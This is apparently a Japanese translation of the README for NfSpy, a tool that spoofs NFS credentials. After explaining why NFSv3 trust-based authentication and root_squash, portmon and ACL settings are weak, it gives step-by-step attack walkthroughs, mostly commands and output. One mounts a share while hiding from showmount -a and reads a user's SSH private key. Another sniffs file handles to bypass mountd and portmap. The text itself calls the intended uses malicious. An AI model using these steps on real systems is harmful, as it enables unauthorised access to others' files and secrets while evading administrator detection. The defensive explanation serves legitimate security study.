
NfSpyは、NFS共有をマウントする際のNFS資格情報の偽装を自動化するPythonライブラリです。含まれているクライアントプログラムは次の2つです。
nfspy は、LinuxでNFS共有をマウントするためにFilesystem in Userspace(FUSE)ライブラリを使用します。これにより、grepやfindのような通常のファイル検索・操作プログラムを使用してNFSエクスポートを探索できます。
nfspysh は、NFSエクスポートを探索するためのFTP風の対話型シェルです。FUSEライブラリを必要としないため、Linux以外のプラットフォームでも実行できます。
バージョン4より前のNFSは、認証をホスト間の信頼関係に依存しています。NFSサーバーは、クライアントマシンがユーザーを認証し、共有ファイルシステムが使用するものと同じユーザーID(UID)を割り当てることを信頼します。これは、たとえばNIS、NIS+、LDAPドメインで機能しますが、クライアントマシンが侵害されておらず、IDを偽装していないことが分かっている場合に限ります。これは、NFSプロトコルにおける唯一の認証がUIDとGID(グループID)の受け渡しであるためです。NFSのセキュリティを強化するためにできることはいくつかありますが、その多くは不完全な解決策であり、ここに挙げた3つすべてを適用しても、セキュリティ対策を回避できる可能性は依然としてあります。
サーバーまたは共有(NFS用語では「エクスポート」)はroot_squashに設定できます。これは、UIDまたはGIDが0(root)であると主張するリクエストを、システム上のnobodyユーザーまたはそれに相当するユーザーとして扱うことを意味します。これにより、攻撃者が他のUID/GIDの組み合わせを偽装することを防ぐことはできませんが、エクスポート上の最も機密性の高い情報と設定を保護します。
有効にできるもう1つの設定はnfs_portmonです。これは、513〜1024の範囲外の送信元ポートからのリクエストを拒否します。通常、これらのポートを割り当てられるのはrootだけなので、信頼されたマシン上の一般ユーザーがUID/GIDを偽装する独自のNFSクライアントを作成して使用することを防ぎます。ただし、不正なホスト、su権限を持つユーザー、またはrootレベルで侵害されたマシンが同じことを行うのを防ぐ効果はありません。
共有/エクスポートは、特定のマシンのみがアクセスできるように制御できます。これらのアクセス制御リストには次のものを含めることができます。
最良の構成はホストリストを使用することです。nfsデーモンに問い合わせても、リストの名前しか得られず、リストに含まれるアドレスや名前は分からないからです。次に良いのはIPアドレスまたはホスト名です。これらは偽装がより困難だからです。IPプレフィックスと「everyone」は、接続できるアドレスにほとんどまたはまったく制限がないため、安全性が低いことを示しています。
オプションの一覧は、次を実行すると表示されます。
nfspy --help
192.168.1.124にNFSサーバーがあります。
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
共有をマウントします。sudoを使用すると特権ポートにバインドでき、allow_otherオプションを使用すると任意のユーザーがファイルシステムを使用できます。ここでのもう1つの新しいオプションは「hide」です。これはサーバー上の共有を即座に「アンマウント」しますが、取得したファイルハンドルは保持します。これにより、showmount -aを使用する人からあなたの存在を隠せます。
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
新たに得た自由をお楽しみください!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
アンマウントするには、fusermountを使用します。
$ sudo fusermount -u /mnt
192.168.1.124にNFSサーバーがあります。Portmapがブロックされているため、共有の一覧は取得できませんが、ネットワークトラフィックをスニッフィングできます。
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
次に、dirhandleおよびgetrootマウントオプションを使用してマウントデーモンを回避し、nfsportオプションを使用してポートマッパーを回避し、ディレクトリツリーを遡ってエクスポートのルートに到達します。
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
既知の情報がnfsファイルハンドルだけなので、マウント先のパスを指定していないことに注意してください。これを機能させるには、ハンドルがファイルではなくディレクトリを指している必要があります。また、迅速に作業しないとハンドルが古くなってしまいます。
tsharkプログラムはWiresharkプロジェクトの一部です。一般的なtcpdumpプログラムにも、-uオプションを使用してNFSファイルハンドルをデコードする機能があります。
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
これらのファイルハンドルは4バイト単位をコロンで区切った形式なので、自分でゼロ埋めする必要があります。NfSpyは単にコロンを除去するだけなので、これは正しくありません。
nfspyshはnfspyと同じ形式で同じ基本オプションセットを受け付けるため、上記のチュートリアルはそのまま機能するはずです。コマンドの一覧は「help」コマンドで確認できます。
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
書き込みアクセスはベータ版です。いくつかのシステムでのテストでは動作しましたが、 さらにテストが必要です。このため、NfSpyはデフォルトでroマウントになります。 rwマウントオプションを指定すると変更できます。 (nfspyshには読み取り専用モードがありません。慎重に操作してください!)
NfSpyは標準のlockdおよびstatdサービスとは連携しないため、 ファイルへの書き込みに問題が生じる可能性があります。 ただし、読み取り専用の場合や、このツールが想定している悪質な用途のほとんどでは、 これは問題にならないはずです。
NfSpyは現時点ではNFSv3のみをサポートしています。将来のバージョンでは NFSバージョンをインテリジェントに選択できるようになるかもしれません。